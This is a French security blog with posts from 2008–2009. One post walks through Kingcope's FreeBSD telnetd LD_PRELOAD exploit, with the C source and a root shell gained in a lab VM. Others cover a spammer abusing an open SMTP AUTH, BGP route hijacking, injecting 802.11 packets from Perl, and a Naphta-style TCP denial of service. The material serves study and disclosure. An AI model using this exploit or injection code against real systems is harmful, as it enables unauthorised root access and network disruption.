Making network protocols go crazy

Aller au contenu | Aller au menu | Aller à la recherche

mercredi, juin 10 2009

Wohaaa, un remote root old school :)

Le 16 février 2009, une vulnérabilité old school est tombée sur telnetd de FreeBSD [1]. L'inventeur de la faille (Kingcope) a émis l'hypothèse d'une exploitation possible en remote. Je vous propose d'étudier la faisabilité de l'idée.

Première chose, avoir un FreeBSD vulnérable [2]. Ça tombe bien, j'ai un 7.1-RELEASE qui traine dans une VM. On active tout d'abord le telnetd dans /etc/inetd.conf, et on démarre inetd. Mais qui ose encore activer telnetd, si ce n'est pour exploiter des vulnérabilités ou pour prouver que c'est un protocole clear-text ? Ben y'a quand même des gens (hint : scannez Internet).

Deuxième chose, pouvoir compiler du code exécutable par un FreeBSD/x86. J'ai ça aussi. L' exploit est on ne peut plus trivial :

// FreeBSD telnetd local/remote privilege escalation/code execution
// remote root only when accessible ftp or similar available
// tested on FreeBSD 7.0-RELEASE
// by Kingcope/2009

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
   FILE *f;
   setenv("LD_PRELOAD", "", 1);
   system("echo GomoR was here;/bin/sh");
}

Je passe les détails sur comment compiler ce code, c'est expliqué dans le message de Kingcope. Par contre, une explication rapide sur le contenu. La fonction _init() est une fonction appelée par tous les binaires (au moins ceux au format ELF). Pour être exact, la fonction _init() est intégré dans la section .init du binaire à la compilation. Cette section contient des fonctions qui seront exécutées au démarrage du binaire. Voyez ci-dessus la sortie de la commande objdump attestant que le binaire telnetd possède une section .init :

% objdump -h /usr/libexec/telnetd |grep init
  9 .init         00000011  08049cf0  08049cf0  00001cf0  2**2

Dans notre cas, la nouvelle fonction _init() va exécuter un shell. Maintenant, ça ne constitue pas une faille en soit, vous me direz. C'est là qu'intervient la variable d'environnement LD_PRELOAD. Cette variable permet de charger une nouvelle bibliothèque avant l'exécution d'un programme, pour "écraser" une fonction interne de ce programme. Notre exploit va ainsi remplacer la fonction _init() du binaire telnetd par la sienne, qui exécute un shell. Il va également supprimer cette variable d'environnement, sinon nous avons une jolie boucle infinie de chargement de la bibliothèque. Mais pour que ça marche, il faut aussi que le binaire "victime" soit compilé en dynamique :

% file /usr/libexec/telnetd        
/usr/libexec/telnetd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.1, dynamically linked (uses shared libs), FreeBSD-style, stripped

Parfait. Là encore, ça ne constitue pas une faille en soit. La vraie faille est que telnetd ne nettoie pas bien toutes ses variables d'environnement (fournies soit par le shell appelant, soit par le protocole telnet, nous y reviendrons). Les failles LD_PRELOAD, ça, c'est du old school.

Passons à la pratique, l'exploitation à proprement parlée. silenoz est l'attaquant, legion la victime :

silenoz ~
% telnet                                                        
telnet> auth disable SRA
telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0
telnet> open legion
Trying 192.168.1.10...
Connected to legion.enslaved.lan.
Escape character is '^]'.

FreeBSD/i386 (legion.enslaved.lan) (ttypd)

Connection closed by foreign host.

Exploit: FAIL. Pourquoi ça ? Et bien parce que notre méchante bibliothèque n'est présente qu'en local (sur silenoz), et non pas sur la machine legion. Uploadons la méchante bibliothèque sur la cible, et retentons :

silenoz ~
% telnet                          
telnet> auth disable SRA
telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0
telnet> open legion
Trying 192.168.1.10...
Connected to legion.enslaved.lan.
Escape character is '^]'.

FreeBSD/i386 (legion.enslaved.lan) (ttypd)

GomoR was here
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# hostname
legion.enslaved.lan
# 

Voilà qui est mieux :) Et voyons le contenu du packet du protocole telnet qui place la variable d'environnement :

0040        ff fa 20 00 33 38  34 30 30 2c 33 38 34 30     .. .38 400,3840
0050  30 ff f0 ff fa 27 00 03  4c 44 5f 50 52 45 4c 4f   0....'.. LD_PRELO
0060  41 44 01 2f 74 6d 70 2f  6c 69 62 6e 6f 5f 65 78   AD./tmp/ libno_ex
0070  2e 73 6f 2e 31 2e 30 00  55 53 45 52 01 67 6f 6d   .so.1.0. USER.gom
0080  6f 72 ff f0 ff fa 18 00  58 54 45 52 4d ff f0      or...... XTERM.. 

Une option du protocole telnet permet de placer des variables d'environnement à distance. Terriblement dangereux, mais terriblement utile. Qui parle de X display ? Qui a encore dit terriblement dangereux ? M'enfin bon, ça existe.

Pour conclure sur le sujet, la faille a été réintroduite avec FreeBSD 7.0-RELEASE. Régression. Ça arrive, même aux meilleurs. A moins qu'il n'existe déjà sur le système attaqué une bibliothèque possédant une fonction qui exécute une commande malicieuse (en gros, une fonction _init()), cette faille n'est pas exploitable en remote. Donc, very unlikely. Sauf si, bien sûr, vous pouvez uploader un fichier arbitraire sur la cible. Genre par un serveur Web avec un applicatif troué.

[1] "Full-disclosure FreeBSD zeroday" - http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-02/msg00181.html

[2] "telnetd code execution vulnerability" - http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc

jeudi, mars 26 2009

Les spammeurs savent utiliser AUTH LOGIN ... et ma configuration FAIL

"Tiens, on dirait que j'ai de moins en moins d'emails ces temps-ci ....". C'est par cette triste pensée que débuta ma recherche de la cause du problème. En effet, je possède un serveur dédié comme nombre de passionnés. Et bien sûr, mon serveur dédié héberge de multiples domaines. Mais surtout, un serveur SMTP pour dans les ténèbres les lier. C'est de ce dernier et de sa configuration dont je vais parler aujourd'hui.

Donc, je ne reçois presque plus de mails. Première hypothèse, plus personne ne m'aime. Non, ça ne tiens pas, j'ai pas été plus méchant ces temps-ci que les temps précédents. Deuxième hypothèse, ma mail queue commence à saturer. Je me connecte en SSH, et là, c'est le drame. Le mailq me donne une liste qui défile pendant près d'une minute. Je traduis pour les incultes : ça veut dire beaucoup beaucoup de messages en attente de livraison.

Mais pourquoi donc que c'est comme ça ? En regardant rapidement, je vois que 80% des messages sont à destination de personnes ayant (ou pas) un mail @yahoo.com.tw. Avec un peu de chance, je n'ai qu'un spammeur qui a repéré une faiblesse chez moi.

Je tente un premier truc : bloquer les adresses IP sources qui me mettent ces messages @yahoo.com.tw dans ma queue (huhu). Mais comme prévu, la liste est longue; je ne retiens pas cette solution. Par contre, en attendant de trouver mieux, je bloque les messages sortant à destination des IP des MX de yahoo.com.tw afin de les décharger de ce load. Sympa knorr.

Deuxième truc : analyser les commandes SMTP. Je capture le trafic SMTP sur mon serveur pendant quelques minutes pour avoir de quoi jouer. Après analyse, voici les data qui me semblent intéressantes :

> EHLO msg-g09pmirpcam
< 250-ns22829.ovh.net
< 250-AUTH LOGIN CRAM-MD5 PLAIN
< 250-AUTH=LOGIN CRAM-MD5 PLAIN
< 250-PIPELINING
< 250 8BITMIME
> AUTH LOGIN
< 334 VXNlcm5hbWU6
> YWRtaW4=
< 334 UGFzc3dvcmQ6
> YWRtaW4=
< 235 ok, go ahead (#2.0.0)
> RSET
> MAIL FROM:<fkp@ns22829.ovh.net>
> RCPT TO:<oprah2073@yahoo.com.tw>
...
> DATA
< 250 flushed
< 250 ok
...
< 354 go ahead
> From: =?BIG5?B?uFW+8KRI?= <fkp@ns22829.ovh.net>
> To: "oprah2073" <oprah2073@yahoo.com.tw>
> Subject: =?BIG5?B?obShtKG0obSkQK3TpKOlsqnxsfOnQaq6pHWnQLROpWm8V6VbpqykSqq6pOiqa6G0?==?BIG5?B?obShtKG0obShtA==?=
> Date: Tue, 19 Jan 2038 11:14:07 +0800
...
< 250 ok 1237657002 qp 1924

Mais que vois-je ? mon serveur accepte les messages à destination d'un domaine que je n'héberge pas ? En l'occurrence, les messages à destination de yahoo.com.tw. Mais pourquoi tant de haine ? En regardant le début de la transaction, je note l'utilisation de AUTH LOGIN. En regardant encore mieux, non seulement la négociation n'échoue pas, mais en plus elle réussit !

Avant de vous traduire le dialogue, oui, pour vous, pauvres mécréants, un petit mot sur AUTH LOGIN. Mon serveur SMTP est (était) configuré pour utiliser la méthode SMTP AUTH LOGIN. Cette méthode permet aux seuls utilisateurs ayant un compte sur mon serveur (je simplifie) de s'authentifier en SMTP, et de se voir attribuer le droit de pouvoir utiliser mon serveur SMTP pour relayer tous leurs messages. Ai confiance en tes users :) L'intérêt est pour eux de ne pas avoir besoin d'utiliser le webmail de mon serveur pour expédier des messages provenant de leur nom de domaine. Mais leur client de messagerie se doit de supporter AUTH LOGIN. Revenons à notre traduction :

> AUTH LOGIN
# Can I haz authenticashun to spam teh interwebs ?
< 334 VXNlcm5hbWU6
# base64_decode => 'Username:'
> YWRtaW4=
# base64_decode => 'admin'
< 334 UGFzc3dvcmQ6
# base64_decode => 'Password:'
> YWRtaW4=
# base84_decode => 'admin'
< 235 ok, go ahead (#2.0.0)
# authentication: WIN

Caugh, caugh. Vous lisez bien, admin/admin et le spammeur est authentifié sur mon serveur. Je me bas presque tous les jours pour que les gens changent les mots de passe par défaut. C'est pas dur merde ! Bon, que celui qui n'a jamais fauté jette la première pêche.

A ma décharge, la faille de configuration de mon serveur était plus sévère. N'importe quel couple login/mot de passe était accepté, et permettait de s'authentifier.

Je recompile donc qmail en désactivant le support AUTH LOGIN, n'ayant pas d'utilisateur s'en servant. Si ils me le demandent, je regarderai de plus près comment configurer ça de manière secure. Je redémarre qmail. Je regarde ma mailq. Je capture du trafic. J'analyse le trafic ... nan, c'est bon :) c'est corrigé. Mais la chose amusante, c'est que le spammeur en question n'utilise plus la méthode AUTH LOGIN. Voyons le nouveau trafic :

< 220 ns22829.ovh.net ESMTP
> EHLO msg-g09pmirpcam
< 250-ns22829.ovh.net
< 250-PIPELINING
< 250 8BITMIME
< RSET
< 250 flushed
> MAIL FROM:<ins@ns22829.ovh.net>
> RCPT TO:<roety503@yahoo.com.tw>
...
< 250 ok
< 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1)
...

Voilà qui va beaucoup mieux. Mais vous avez remarqué ? le spammeur n'utilise plus la méthode AUTH LOGIN. Ce qui veut dire que son robot analyse la sortie de la commande EHLO, et si le serveur SMTP supporte AUTH LOGIN, il tente une authentification. Au moins avec admin/admin. Je ne vais pas analyser plus que ça, mais il est possible que le robot brute-force un minimum avec différents couples login/mot de passe. Intéressant spammeur, on se reverra peut-être. A+

samedi, décembre 20 2008

La pub c'est bon. Gardons la 24/7.

Un certain Agent Secret a fait de la pub pour un de mes programmes : SSL Capable NetCat. Je ne peux que l'en remercier ;) Et pour l'en remercier, je lui fait également de la pub, ça se passe comme ça dans le privé.

Par ici la bonne nourriture (au moins 5 fruits et légumes par jour).

EDIT : Pour ceux qui n'ont pas vu l'allusion, relisez en pensant "suppression de la pub sur les chaînes publiques entre 20h et 6h".

Programmez votre Window Manager en Perl. Oui, je suis fou.

Cédant à la pression de sbz, je vais vous parler d'un Window Manager (WM) qu'il est bien. Je fais également fi de ma ligne éditoriale habituelle (on reste tout de même dans le registre de la folie), étant donné que cela n'a pas grand chose à voir avec le networking.

Ce WM n'est autre que wmii. Il est basé sur la bibliothèque libixp, qui elle-même est grandement inspirée de la bibliothèque Plan 9. Ce WM est "programmable" et "tiled".

Le "programmable" signifie qu'on personnalise le WM en écrivant des lignes de code, dans n'importe quel langage implémentant la bibliothèque libixp. Le "tiled" signifie simplement que chaque fenêtre ouverte prendra le maximum de place de la root Window de votre X display.

Ce WM était "programmable" dans presque tous les langages. Je dis bien presque, car seul un petit village gaulois résistait encore. Mais cette fois, il fut vaincu. Le village CPAN fut ainsi envahi par la libixp. J'ai écris le binding Perl pour la bibliothèque libixp afin de personnaliser mon WM du moment en écrivant des lignes de Perl. Je vous laisse admirer le travail.

Oui, je suis fou.

vendredi, novembre 14 2008

Man in the middle sur Internet, ça coûte cher ça ?

Aujourd'hui, je vais vous parler de BGP (Border Gateway Protocol). Je sais, c'est old news, on en a parlé au DEFCON[1] cet été. Avant de me dire que vous en avez entendu parler ad noseum[2], lisez la suite. Dans ce billet, je vais d'abord citer les faits historiques (pour ceux qui dormaient sous un rocher depuis plusieurs mois), puis je vais chercher à savoir combien ça coûte de hijacker une route BGP.

Les faits. BGP est un protocole de routage inter-AS (Autonomous Systems). Un AS est généralement sous une unique autorité administrative. Les AS doivent dialoguer les uns avec les autres, et entretenir une certaine relation de confiance. Cette relation existe pour que l'échange de routes soit possible, afin que chaque sous-réseau composant Internet puisse être accessible depuis n'importe quel point d'Internet. BGP est donc le protocole permettant l'échange de ces routes entre deux AS. Ensuite, chaque AS "répercute" les routes échangées avec ses AS voisins, jusqu'à ce que tous les AS de la planète connaissent l'existence de ces routes.

Cet été, les chercheurs[3] Kapela et Pilosov ont montré que le détournement de routes via BGP était à la portée de n'importe qui. En effet, nul besoin d'un "exploit" de haut niveau, ni de grande compétence. Juste de posséder un AS. Le fait que les routes sont répercutées d'AS en AS est là la seule faille, si tant est que l'on puisse considérer qu'il y en ait une. Pour ceux qui sont durs de la comprenette, ça veut dire qu'on peut écouter le trafic de n'importe qui. Lisez : utilisez SSL/SSH/IPSec/whatever pour éviter que vos mots de passe transitent en clair sur Internet. Il est largement temps de supprimer tous ces vieux protocoles qui laissent passer des données confidentielles en clair sur Internet.

L'autorité de régulation des télécoms Pakistanaise[4] a voulu utiliser cette "feature" pour bloquer l'accès à YouTube dans son pays, à cause d'une vidéo "blasphématoire". Ils ont donc décidé d'annoncer la route menant à YouTube comme étant nulle dans leur AS. Dommage, les routes se sont propagées sur toute la planète, et plus personne ne pouvait accéder à YouTube.

L'autre conséquence possible, celle montrée par les chercheurs à DEFCON, permet un man in the middle à l'échelle planétaire. Tout simplement. Ils ont re-routés en live le trafic de DEFCON vers leur AS, ont pu sniffer à en provoquer une overdose, tout en re-routant le trafic de leur AS vers DEFCON. Ni vu, ni connu. Enfin presque. Certains penseront qu'un traceroute permettrait de révéler la supercherie, mais en modifiant le TTL des packets du traceroute, le nouveau hop redevient invisible. Et c'est surtout en cela que leur présentation était "nouvelle".

Ok. So now, est-ce que moi, citoyen lambda, je peux re-router le réseau de mon choix pour espionner le trafic à moindre coup ? La réponse est malheureusement oui. Je ne vais pas faire de pub, mais un grand hébergeur français loue des AS "full BGP" pour 100 € HT par mois. Évidemment, je n'ai pas envie de dépenser cette somme pour valider l'attaque, mais le cœur y est, je vous l'assure. Maintenant, pour louer un AS, il y a des contraintes administratives, et votre identité sera très probablement révélée à cet hébergeur. L'aspect anonymisation de l'attaque ne sera, bien sûr, pas abordé ici.

Ce billet ne serait pas complet si je n'abordais pas les solutions. La solution parfaite : S-BGP, tout le monde s'authentifie, et chaque AS est capable d'avoir une vraie confiance en ses voisins. Et les voisins de ses voisins aussi. Mais c'est pire que DNSSEC a déployer. Il ne reste plus que les solutions actuelles : le monitoring[5] de routes, pour détecter quand quelqu'un annonce "par mégarde" le préfixe d'un réseau qui n'est pas le sien. Ça me rappelle les logs des systèmes ou des IDS. C'est bien, mais il faut les lire.

[1] DEFCON 16 Media Archive - https://www.defcon.org/html/links/defcon-media-archives.html

[2] DEFCON 16 Press Release - https://www.defcon.org/html/links/dc_press/dc_press.html

[3] Présentation sous le titre "Stealing The Internet - A Routed, Wide-area, Man in the Middle Attack" - https://www.defcon.org/html/links/defcon-media-archives.html

[4] Pakistan lifts the ban on YouTube - http://news.bbc.co.uk/1/hi/technology/7262071.stm

[5] BGP monitoring and analyzer tool - http://bgpmon.net/

dimanche, novembre 9 2008

Voilà. Injection de packets 802.11 en Perl.

Il existe depuis près de 2 ans un module Perl[1] pour expédier des packets 802.11 dans les airs. Malheureusement, ce module écrit à l'origine par David Leadbeater est maintenant obsolète par rapport à l'API actuelle de Lorcon[2].

Alors je contacte l'auteur du module, et lui demande si il souhaite garder l'ownership du module, lui disant que ça me plairait bien de reprendre le lead sur ce projet. En effet, j'avais déjà écrit la version 0.02 du module, et n'attendais plus que le feu vert. L'auteur accepte avec joie, n'ayant plus d'intérêt pour l'injection 802.11 pour le moment.

So far, so good, la version actualisée supportant plus de drivers Wi-Fi et fonctionnant avec la dernière version SVN (revision 163)[3] est maintenant dispo sur CPAN[4].

Maintenant un exemple, pour vous montrer a quel point c'est facile à utiliser :

use Net::Lorcon qw(:all);

# Injection pour ma carte Intel 3945. Son device est eth1, et le driver requit est iwlwifi
my $tx = Net::Lorcon->new("eth1", "iwlwifi");

$tx->open or die("Impossible d'ouvrir l'interface");
$tx->setfunctionalmode(1);

# Beacon vers le point d'accès ayant pour SSID "Net::Lorcon"
my $packet = "\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x02\x02\xe2\xc4\xef\x00\x02\x
02\xe2\xc4\xef\xd0\xfe\x37\xe0\xae\x0c\x00\x00\x00\x00\x64\x00\x21\x08\x00\x0b\x4e\x65\x
74\x3a\x3a\x4c\x6f\x72\x63\x6f\x6e\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24\x03\x01\x0d\x
05\x04\x00\x01\x00\x00\x2a\x01\x00\x32\x04\x30\x48\x60\x6c";

# Et voilà, un packet dans les airs.
$tx->txpacket($packet);

Bon. Reste plus qu'à ajouter le support injection Wi-Fi dans Net::Write[5].

[1] http://search.cpan.org/~dgl/Net-Lorcon-0.01/

[2] http://802.11ninja.net/lorcon

[3] "svn co http://802.11ninja.net/svn/lorcon/trunk/"

[4] http://search.cpan.org/~gomor/Net-Lorcon/

[5] http://search.cpan.org/~gomor/Net-Write/

dimanche, octobre 26 2008

libdnet, mon amie ... pose ce couteau

En utilisant libdnet (version 1.11, la dernière) sous votre OS préféré (heu ... Linux ?), vous êtes probablement déjà tombé sur ce message :

% dnet intf show
lo: flags=0x3<UP,LOOPBACK> mtu 16436
	inet 127.0.0.1/8
	alias ::1
eth0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:13:a9:2c:5b:a3
dnet: intf_loop: Invalid argument

Cette situation ne doit pas être une fatalité. Alors ce dimanche, comme j'avais du temps à perdre, et surtout grâce au droit opposable au code incomplet et/ou vieillissant, j'ai pu chercher d'où venait le problème. Premier élément de réponse : la carte suivante devrait être la carte wireless de mon laptop, étant donné que c'est le cas avec ifconfig. En essayant sur une machine sans carte wireless, pas de problème ; toutes les interfaces sont affichées. Il y a de fortes chances que l'erreur soit provoquée lors de la lecture des informations de ma carte wireless.

Deuxième élément de réponse (je vous passe mes sessions de debug du source de libdnet), je finis par tomber la dessus, dans src/intf.c :

if (addr_ston(&ifr.ifr_addr, &entry->intf_link_addr) < 0)
        return (-1);

La fonction addr_ston() retourne -1 lorsqu'elle tombe sur une interface IEEE 802.11. Le problème est du au fait qu'une interface IEEE 802.11 n'est pas pareil qu'une interface ethernet (doh!), par exemple. En effet, la sa_family pour une interface 802.11 possède sa propre valeur (sous Linux, c'est la valeur 801, alors qu'ethernet possède la valeur 1). Reste plus qu'à patcher addr_ston() dans src/addr.c de la façon suivante :

  case AF_UNSPEC:
  case ARP_HRD_ETH:       /* XXX- Linux arp(7) */
+ /* Also defined in net/if_arp.h as ARPHRD_IEEE80211 */
+ case 801:
      a->addr_type = ADDR_TYPE_ETH;
      a->addr_bits = ETH_ADDR_BITS;
      memcpy(&a->addr_eth, sa->sa_data, ETH_ADDR_LEN);
      break;

On compile, on installe, et voilà :

% dnet intf show
lo: flags=0x3<UP,LOOPBACK> mtu 16436
	inet 127.0.0.1/8
	alias ::1
eth0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:13:a9:2c:5b:a3
wmaster0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:13:02:44:63:2b
eth1: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:13:02:44:63:2b
wifi0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:1e:2a:02:ea:de
ath0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	inet 192.168.0.101/24
	link 00:1e:2a:02:ea:de
	alias fe80::21e:2aff:fe02:eade/64

mardi, octobre 14 2008

Déni de service universel dans TCP

Bon, difficile d'y échapper, surtout à quelques jours de la diffusion des détails. Ce billet fait suite à l'annonce vu sur le blog des chercheurs de chez Outpost24 relatant une nouvelle faille dans le design du protocole le plus utilisé dans l'Internet.

Cette faille, si l'on en croit le peu qui a pu filtrer, porte sur la gestion de la machine à état de TCP. En amenant cette machine dans un certain état, il serait possible de bloquer de l'allocation mémoire sur le système cible, finissant par saturer sa mémoire. Ou bien de saturer sa bande passante. Seulement 200 packets par secondes seraient même suffisant. Tous les systèmes d'exploitation seraient affectés. Well. Want to see that.

Du coup, je me suis (re)penché sur des techniques aussi vieilles que Naphta, en y apportant certaines modifications. Je ne vais pas faire un billet complet sur Naphta, mais en gros, Naphta amène la pile TCP/IP cible soit dans l'état ESTABLISHED, soit dans l'état FIN_WAIT_1 pour accomplir sa sombre tâche de destruction.

Une des dernières hypothèses sur le sujet était une évolution de Naphta, avec en plus l'envoi d'un payload applicatif vers la cible. En n'acquittant pas la réponse obtenue à une requête applicative, la cible va réémettre de nombreuses fois sa réponse, saturant un peu plus sa bande passante ainsi que sa mémoire (le tampon de réponse n'étant jamais libéré).

Faisons un rapide calcul. Soit une adresse IP ouvrant 60 000 connexions vers un serveur Apache. Imaginons que chacune de ces connexions entraîne l'émission d'une réponse HTTP d'environ 2 ko (chiffre arbitraire, mais je le prends comme moyenne acceptable). 60 000 x 2, soit 120 Mo. Outre le fait que je vais me prendre 120 Mo de trafic dans la tronche, la cible risque fort de garder 120 Mo de tampon alloués en mémoire. Et oui, puisque je n'acquitterai pas (au sens TCP ACK), la cible va garder ça dans un tampon, et réémettre à certains intervalles ce packet (et encore me balancer 120 Mo dans la tronche).

Vous allez me dire : la cible supportera certainement 120 Mo dans sa mémoire et sur sa bande passante. Par contre moi ... Maintenant, multipliez ce nombre par 10. 10 machines lançant cette attaque. En cherchant un peu, il est possible (hypothèse de ma part) que les chercheurs en question utilisent plusieurs adresses IP sources pour leur attaque. D'abord pour contourner la limitation de bande passante de l'attaquant, ensuite pour contourner la limitation des 60 000 (65 535, en fait) connexions correspondant au tuple adresseSource,portSource,adresseDestination,portDestination. Là, on atteint 1 Go pour 10 IP. 10 Go pour 100 IP. Ca à l'air pas mal.

Ainsi, j'ai développé un programme en utilisant mon framework préféré (Net::Frame) pour tester l'efficacité des ces attaques. Mais comme ce soir, j'ai la flemme de mettre ça au propre, ce sera peut-être l'objet d'un autre billet.

Il était temps ...

Et oui, il était temps pour moi d'avoir un blog. Je ne vois pas pourquoi, moi, j'en n'aurais pas un. Alors sans hésitations, j'ai pris DotClear.

Ceux qui me connaissent se demanderont pourquoi j'ai pris un truc en Pé-Ash-Pé. Ben, parce que DotClear, c'est simple :) Et j'avais pas envie de chercher pendant 3 jours une version en Perl.

Sur ce blog, Je vais me concentrer sur le 'hack' de protocoles réseaux. Pourquoi ? parce que j'aime ça :) je montrerais des exemples concret d'utilisation de mon framework de construction et d'injection de packets réseau préféré : Net::Frame. Vous me direz : c'est quoi le hack de protocole réseau ? Eh bien c'est l'art d'exploiter les failles dans le design des protocoles, afin de faire faire des choses non-prévues dès le début. C'est aussi comment exploiter les failles d'implémentation, ou encore comment fuzzer un protocole.

Vous l'aurez compris, c'est un blog dédié à la couche réseau (and related). J'espère avoir l'inspiration suffisamment souvent, et sur des sujets suffisamment intéressant pour faire vivre ce 'yet another security blog'. Bonne lecture.